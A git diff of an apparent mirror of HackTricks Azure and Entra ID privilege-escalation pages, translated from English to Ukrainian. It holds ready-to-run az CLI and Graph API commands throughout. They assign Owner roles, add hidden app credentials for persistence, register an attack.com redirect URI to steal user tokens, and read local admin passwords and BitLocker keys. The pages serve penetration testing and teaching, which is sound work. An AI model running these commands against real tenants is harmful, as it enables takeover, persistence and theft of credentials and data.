mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-15 14:23:16 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -1,6 +1 @@
|
||||
# Az - Privilege Escalation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Az - Підвищення Привілеїв
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## App Services
|
||||
|
||||
For more information about Azure App services check:
|
||||
Для отримання додаткової інформації про Azure App services перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-service.md
|
||||
@@ -12,17 +12,14 @@ For more information about Azure App services check:
|
||||
|
||||
### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, 
|
||||
|
||||
These permissions allows to call the following commands to get a **SSH shell** inside a web app
|
||||
|
||||
- Direct option:
|
||||
Ці дозволи дозволяють викликати наступні команди для отримання **SSH shell** всередині веб-додатку
|
||||
|
||||
- Прямий варіант:
|
||||
```bash
|
||||
# Direct option
|
||||
az webapp ssh --name <name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
- Create tunnel and then connect to SSH:
|
||||
|
||||
- Створіть тунель, а потім підключіться до SSH:
|
||||
```bash
|
||||
az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
|
||||
@@ -35,9 +32,4 @@ az webapp create-remote-connection --name <name> --resource-group <res-group>
|
||||
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
|
||||
ssh root@127.0.0.1 -p 39895
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure IAM
|
||||
|
||||
Fore more information check:
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-azuread.md
|
||||
@@ -12,45 +12,38 @@ Fore more information check:
|
||||
|
||||
### Microsoft.Authorization/roleAssignments/write
|
||||
|
||||
This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role:
|
||||
|
||||
Ця дозволяє призначати ролі принципам в межах конкретної області, що дозволяє зловмиснику підвищити привілеї, призначивши собі більш привілейовану роль:
|
||||
```bash
|
||||
# Example
|
||||
az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234"
|
||||
```
|
||||
|
||||
### Microsoft.Authorization/roleDefinitions/Write
|
||||
|
||||
This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned.
|
||||
|
||||
Create the file `role.json` with the following **content**:
|
||||
Цей дозвіл дозволяє змінювати дозволи, надані роллю, що дозволяє зловмиснику підвищувати привілеї, надаючи більше дозволів ролі, яку він призначив.
|
||||
|
||||
Створіть файл `role.json` з наступним **вмістом**:
|
||||
```json
|
||||
{
|
||||
"Name": "<name of the role>",
|
||||
"IsCustom": true,
|
||||
"Description": "Custom role with elevated privileges",
|
||||
"Actions": ["*"],
|
||||
"NotActions": [],
|
||||
"DataActions": ["*"],
|
||||
"NotDataActions": [],
|
||||
"AssignableScopes": ["/subscriptions/<subscription-id>"]
|
||||
"Name": "<name of the role>",
|
||||
"IsCustom": true,
|
||||
"Description": "Custom role with elevated privileges",
|
||||
"Actions": ["*"],
|
||||
"NotActions": [],
|
||||
"DataActions": ["*"],
|
||||
"NotDataActions": [],
|
||||
"AssignableScopes": ["/subscriptions/<subscription-id>"]
|
||||
}
|
||||
```
|
||||
|
||||
Then update the role permissions with the previous definition calling:
|
||||
|
||||
Тоді оновіть дозволи ролі з попереднім визначенням, викликавши:
|
||||
```bash
|
||||
az role definition update --role-definition role.json
|
||||
```
|
||||
|
||||
### Microsoft.Authorization/elevateAccess/action
|
||||
|
||||
This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources.
|
||||
Ці дозволи дозволяють підвищувати привілеї та мати можливість призначати дозволи будь-якому принципалу для ресурсів Azure. Вони призначені для глобальних адміністраторів Entra ID, щоб вони також могли керувати дозволами на ресурси Azure.
|
||||
|
||||
> [!TIP]
|
||||
> I think the user need to be Global Administrator in Entrad ID for the elevate call to work.
|
||||
|
||||
> Я вважаю, що користувач повинен бути глобальним адміністратором в Entra ID, щоб виклик підвищення працював.
|
||||
```bash
|
||||
# Call elevate
|
||||
az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
|
||||
@@ -58,29 +51,22 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au
|
||||
# Grant a user the Owner role
|
||||
az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
|
||||
```
|
||||
|
||||
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
|
||||
|
||||
This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**.
|
||||
|
||||
Example command to give access to a repo in Github to the a managed identity:
|
||||
Цей дозвіл дозволяє додавати федеративні облікові дані до керованих ідентичностей. Наприклад, надати доступ до Github Actions у репозиторії керованій ідентичності. Потім це дозволяє **отримувати доступ до будь-якої визначеної користувачем керованої ідентичності**.
|
||||
|
||||
Приклад команди для надання доступу до репозиторію в Github керованій ідентичності:
|
||||
```bash
|
||||
# Generic example:
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
|
||||
--uri "https://management.azure.com//subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>/federatedIdentityCredentials/<name-new-federated-creds>?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
|
||||
|
||||
# Example with specific data:
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3,80 +3,71 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.**
|
||||
> Зверніть увагу, що **не всі детальні дозволи** вбудованих ролей в Entra ID **можуть бути використані в користувацьких ролях.**
|
||||
|
||||
## Roles
|
||||
## Ролі
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
### Роль: Адміністратор привілейованих ролей <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.
|
||||
|
||||
- Assign role to a user:
|
||||
Ця роль містить необхідні детальні дозволи для призначення ролей принципам та надання додаткових дозволів ролям. Обидві дії можуть бути зловживані для ескалації привілеїв.
|
||||
|
||||
- Призначити роль користувачу:
|
||||
```bash
|
||||
# List enabled built-in roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
|
||||
# Give role (Global Administrator?) to a user
|
||||
roleId="<roleId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
|
||||
- Add more permissions to a role:
|
||||
|
||||
- Додати більше дозволів до ролі:
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
|
||||
# Change the permissions of a custom role
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"description": "Update basic properties of application registrations",
|
||||
"rolePermissions": [
|
||||
{
|
||||
"allowedResourceActions": [
|
||||
"microsoft.directory/applications/credentials/update"
|
||||
]
|
||||
}
|
||||
]
|
||||
}'
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"description": "Update basic properties of application registrations",
|
||||
"rolePermissions": [
|
||||
{
|
||||
"allowedResourceActions": [
|
||||
"microsoft.directory/applications/credentials/update"
|
||||
]
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
## Applications
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
This allows an attacker to **add credentials** (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges.
|
||||
|
||||
Це дозволяє зловмиснику **додавати облікові дані** (паролі або сертифікати) до існуючих додатків. Якщо додаток має привілейовані дозволи, зловмисник може автентифікуватися як цей додаток і отримати ці привілеї.
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
# Generate a new certificate without overwritting old ones
|
||||
az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications.
|
||||
|
||||
Це дозволяє ті ж дії, що й `applications/credentials/update`, але обмежено до однодиректорних застосунків.
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions.
|
||||
|
||||
Додавши себе як власника, зловмисник може маніпулювати додатком, включаючи облікові дані та дозволи.
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -84,78 +75,66 @@ az ad app credential reset --id <appId> --append
|
||||
# You can check the owners with
|
||||
az ad app owner list --id <appId>
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything.
|
||||
|
||||
Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions.
|
||||
Зловмисник може додати URI перенаправлення до додатків, які використовуються користувачами орендаря, а потім поділитися з ними URL-адресами входу, які використовують новий URL перенаправлення, щоб вкрасти їх токени. Зверніть увагу, що якщо користувач вже увійшов до додатку, аутентифікація буде автоматичною без необхідності приймати щось.
|
||||
|
||||
Зверніть увагу, що також можливо змінити дозволи, які запитує додаток, щоб отримати більше дозволів, але в цьому випадку користувачеві потрібно буде знову прийняти запит на всі дозволи.
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
|
||||
## Service Principals
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
|
||||
|
||||
Це дозволяє зловмиснику додавати облікові дані до існуючих службових принципів. Якщо службовий принцип має підвищені привілеї, зловмисник може прийняти ці привілеї.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.\
|
||||
> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
|
||||
> Новий згенерований пароль не з'явиться в веб-консолі, тому це може бути прихований спосіб підтримувати постійний доступ до сервісного принципалу.\
|
||||
> З API їх можна знайти за допомогою: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
Якщо ви отримали помилку `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, це тому, що **неможливо змінити властивість passwordCredentials** сервісного принципалу, і спочатку потрібно його розблокувати. Для цього вам потрібна дозвіл (`microsoft.directory/applications/allProperties/update`), який дозволяє вам виконати:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
|
||||
|
||||
Це дозволяє зловмиснику додавати облікові дані до існуючих службових принципів. Якщо службовий принцип має підвищені привілеї, зловмисник може прийняти ці привілеї.
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions.
|
||||
|
||||
Схоже на додатки, цей дозвіл дозволяє додавати більше власників до службового принципалу. Володіння службовим принципалом дозволяє контролювати його облікові дані та дозволи.
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
|
||||
# You can check the owners with
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**.
|
||||
> Після додавання нового власника я спробував його видалити, але API відповів, що метод DELETE не підтримується, навіть якщо це метод, який потрібно використовувати для видалення власника. Тому ви **не можете видалити власників в даний час**.
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
|
||||
These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges.
|
||||
|
||||
Note that for this technique the attacker will need more permissions in order to take over the enabled service principal.
|
||||
Ці дозволи дозволяють вимкнути та увімкнути службові принципали. Зловмисник може використовувати цей дозвіл, щоб увімкнути службовий принципал, до якого він може отримати доступ якимось чином, щоб ескалувати привілеї.
|
||||
|
||||
Зверніть увагу, що для цієї техніки зловмиснику знадобляться додаткові дозволи, щоб захопити увімкнений службовий принципал.
|
||||
```bash
|
||||
bashCopy code# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -163,11 +142,9 @@ az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
# Enable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications.
|
||||
|
||||
Ці дозволи дозволяють створювати та отримувати облікові дані для єдиного входу, що може дозволити доступ до сторонніх додатків.
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -175,176 +152,155 @@ user_or_group_id="<id>"
|
||||
username="<username>"
|
||||
password="<password>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
|
||||
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
|
||||
|
||||
|
||||
# Get credentials of a specific credID
|
||||
credID="<credID>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Groups
|
||||
## Групи
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
This permission allows to add users to privileged groups, leading to privilege escalation.
|
||||
|
||||
Ця дозволяє додавати користувачів до привілейованих груп, що призводить до ескалації привілеїв.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
**Примітка**: Ця дозволяє виключає групи, які можуть бути призначені ролям Entra ID.
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group.
|
||||
|
||||
Цей дозвіл дозволяє стати власником груп. Власник групи може контролювати членство в групі та налаштування, потенційно підвищуючи привілеї в групі.
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
**Примітка**: Ця дозволена дія виключає групи, призначені для ролей Entra ID.
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access.
|
||||
|
||||
Ця дозволена дія дозволяє додавати учасників до групи. Зловмисник може додати себе або шкідливі облікові записи до привілейованих груп, що може надати підвищений доступ.
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition.
|
||||
|
||||
Цей дозвіл дозволяє оновлювати правило членства в динамічній групі. Зловмисник може змінити динамічні правила, щоб включити себе до привілейованих груп без явного додавання.
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**Примітка**: Ця дозволена дія виключає групи, які можуть бути призначені ролям Entra ID.
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
### Привілейоване підвищення динамічних груп
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check:
|
||||
Можливо, що користувачі можуть підвищити привілеї, змінюючи свої власні властивості, щоб бути доданими як члени динамічних груп. Для отримання додаткової інформації дивіться:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
## Users
|
||||
## Користувачі
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles.
|
||||
|
||||
Ця дозволена дія дозволяє скинути пароль для неадміністраторів, що дозволяє потенційному зловмиснику підвищити привілеї до інших користувачів. Цю дозволену дію не можна призначити для користувацьких ролей.
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges.
|
||||
|
||||
Ця привілегія дозволяє змінювати властивості користувача. Зазвичай можна знайти динамічні групи, які додають користувачів на основі значень властивостей, тому ця дозволена дія може дозволити користувачу встановити потрібне значення властивості, щоб стати членом конкретної динамічної групи та ескалувати привілеї.
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
managerUser="<userID>"
|
||||
az rest --method PUT \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
|
||||
|
||||
#e.g. change department of a user
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## Політики умовного доступу та обхід MFA
|
||||
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
Misconfigured conditional access policies requiring MFA could be bypassed, check:
|
||||
Неправильно налаштовані політики умовного доступу, що вимагають MFA, можуть бути обійдені, перевірте:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## Devices
|
||||
## Пристрої
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data.
|
||||
|
||||
Ця дозволяє зловмисникам призначати себе власниками пристроїв, щоб отримати контроль або доступ до налаштувань і даних, специфічних для пристроїв.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
This permission allows attackers to associate their account with devices to gain access or to bypass security policies.
|
||||
|
||||
Ця дозволяє зловмисникам асоціювати свій обліковий запис з пристроями, щоб отримати доступ або обійти політики безпеки.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password
|
||||
|
||||
Ця дозволяє зловмисникам читати властивості резервних облікових даних локального облікового запису адміністратора для пристроїв, приєднаних до Microsoft Entra, включаючи пароль.
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
|
||||
|
||||
# Get credentials
|
||||
deviceLC="<deviceLCID>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
|
||||
```
|
||||
|
||||
## BitlockerKeys
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality.
|
||||
|
||||
Цей дозвіл дозволяє отримувати доступ до ключів BitLocker, що може дозволити зловмиснику розшифровувати диски, ставлячи під загрозу конфіденційність даних.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
|
||||
|
||||
# Get key
|
||||
recoveryKeyId="<recoveryKeyId>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
```
|
||||
|
||||
## Other Interesting permissions (TODO)
|
||||
## Інші цікаві дозволи (TODO)
|
||||
|
||||
